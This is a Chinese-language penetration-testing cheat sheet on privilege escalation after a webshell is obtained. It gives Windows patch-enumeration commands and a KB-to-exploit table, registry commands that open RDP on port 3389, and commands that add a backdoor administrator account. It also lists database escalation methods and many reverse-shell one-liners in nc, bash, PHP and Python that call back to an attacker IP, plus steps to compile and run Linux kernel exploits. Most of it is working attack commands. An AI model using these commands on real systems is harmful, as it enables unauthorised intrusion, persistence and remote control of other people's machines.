权限提升
水平权限提升(越权)
- 同级用户获得其他同级用户权限
垂直权限提升
- 普通用户获得管理员权限
- web用户直接提权成管理员用户
提权工具
- getshell-master.zip
- getshell-GitHub地址
- K8tools-master.zip
- K8tools其他渗透工具-GitHub地址
- nc.rar
- linux-exploit-suggester-master.zip
windows基于WebShell的提权
- IIS的aspx大马,asp脚本权限比较低,尝试上传aspx的大马使用aspx大马提权
- 如果目标使用的是集成环境搭建的网站(phpstudy,xampp,wampserver)获取WebShell之后就是系统或管理员权限,宝塔
- 利用系统漏洞提权,找补丁,找漏洞,找EXP
利用漏洞提权需要获取windows系统的补丁安装情况,直接通过webshell查询以下命令获得结果,可以根据实际情况添加查询的漏洞编号
#windows 2003
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
#windows2003以上
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195 KB3031432) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
补丁漏洞对应表
补丁 | 漏洞 |
---|---|
KB2360937 | MS10-084 |
KB2478960 | MS11-014 |
KB2507938 | MS11-056 |
KB2566454 | MS11-062 |
KB2646524 | MS12-003 |
KB2645640 | MS12-009 |
KB2641653 | MS12-018 |
KB944653 | MS07-067 |
KB952004 | MS09-012 PR |
KB971657 | MS09-041 |
KB2620712 | MS11-097 |
KB2393802 | MS11-011 |
kb942831 | MS08-005 |
KB2503665 | MS11-046 |
KB2592799 | MS11-080 |
KB956572 | MS09-012 烤肉 |
KB2621440 | MS12-020 |
KB977165 | MS10-015 Ms Viru |
KB4013081 | MS17-017 |
KB3139914 | MS16-032 |
KB3124280 | MS16-016 |
KB3134228 | MS16-014 |
KB3079904 | MS15-097 |
KB3077657 | MS15-077 |
KB3045171 | MS15-051 |
KB3000061 | MS14-058 |
KB2829361 | MS13-046 |
KB2850851 | MS13-053 EPATHOBJ 0day 限32位 |
KB2707511 | MS12-042 sysret -pid |
KB2124261,KB2271195 | MS10-065 IIS7 |
KB3198234 | MS16-135 |
KB970483 | MS09-020 IIS6 |
KB3031432 | MS15-015 |
可能会遇到的问题
- 无法执行cmd命令
- 无法上传提权exp(哪些目录有写权限?日志,缓存,回收站,大马所在目录)
拥有系统权限后,可以通过命令行开启3389端口
- windows 2003
windows 2003
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- windows 2003|2008
#3389.bat
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
创建winows用户
net user hack 123.com /add
net localgroup administrators hack /add
数据库提权
- MSSQL:xp_cmdshell cmd命令.前提,获取mssql sa的密码
- MYSQL:提权利用mysql执行cmd命令
udf
,mof
基于WebShell反弹Shell
主要目的是建立一个持久性的连接
- 正向shell:我主动连接服务器,服务器开启ssh端口
- 反向Sehll:服务器主动连接我们,我们监听某一个端口
windows反弹shell
#windows服务器执行反弹
nc.exe -e cmd.exe 10.0.0.221 1234
#kali监听1234端口
nc -lvvp 1234
nc -lnvp 1234
nc命令-e参数不可用反弹shell
如果
nc
命令-e
参数不可用时,可以用以下命令代替
#nc
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.221 1234 >/tmp/f
nc
bash反弹shell
#bash
bash -i >& /dev/tcp/10.0.0.221/1234 0>&1
/bin/bash -i >& /dev/tcp/10.0.0.221/1234 0>&1
sh -i >& /dev/tcp/10.0.0.221/1234 0>&1
/bin/sh -i >& /dev/tcp/10.0.0.221/1234 0>&1
bash -c 'sh -i &>/dev/tcp/10.0.0.221/1234 0>&1'
echo "bash -i >& /dev/tcp/10.0.0.221/1234 0>&1" | bash
bash
php反弹shell
#php命令
php -r '$sock=fsockopen("10.0.0.221",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
#php文件 /tmp/reverse.php
<?php
$sock = fsockopen("10.0.0.221", 1234);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>
#执行文件
php -f /tmp/reverse.php
php命令
php文件
python反弹shell
#python文件
import os,socket,subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.0.221',1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])
#执行文件
python /tmp/reverse.py
python3 /tmp/reverse.py
#进入交互式Shell
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/sh")'
python3 -c 'import pty;pty.spawn("/bin/sh")'
linux基于WebShell的提权
linux系统提权有以下几种
- 利用系统漏洞提权
- 第三方软件,套路比较多,实战中自行体会
- dc系列
提权之前需要收集系统信息
uname -a
-
方法一:上传并运行提权辅助脚本.上传文件后赋予执行权限并执行,可以尝试脚本展示出的方式进行提权
-
可以通过大马,
wget
命令,curl
命令将脚本部署到服务器,可以部署到/tmp
目录下,确保目录有写权限
/tmp/linux-exploit-suggester.sh
- 方法二:使用kali的漏洞库
searchsploit centos 7
使用命令获取脚本到当前目录
#获取脚本
mkdir centos7
cd centos7
searchsploit -m 35370
#在kali中开启http服务传输脚本
python -m SimpleHTTPServer 8080
下载文件到服务器
编译后执行
gcc 35370.c -o exploit -lpthread
./exploit
#如果编译遇到该错误执行以下命令后再尝试编译
#gcc: error trying to exec 'cc1': execvp: No such file or directory
#找到cc1并添加环境变量
whereis cc1
PATH="$PATH":/usr/libexec/gcc/x86_64-redhat-linux/4.8.2
export PATH
如果执行脚本后提权成功会可以直接获得root权限
最后一次更新于2021-02-10 11:28
0 条评论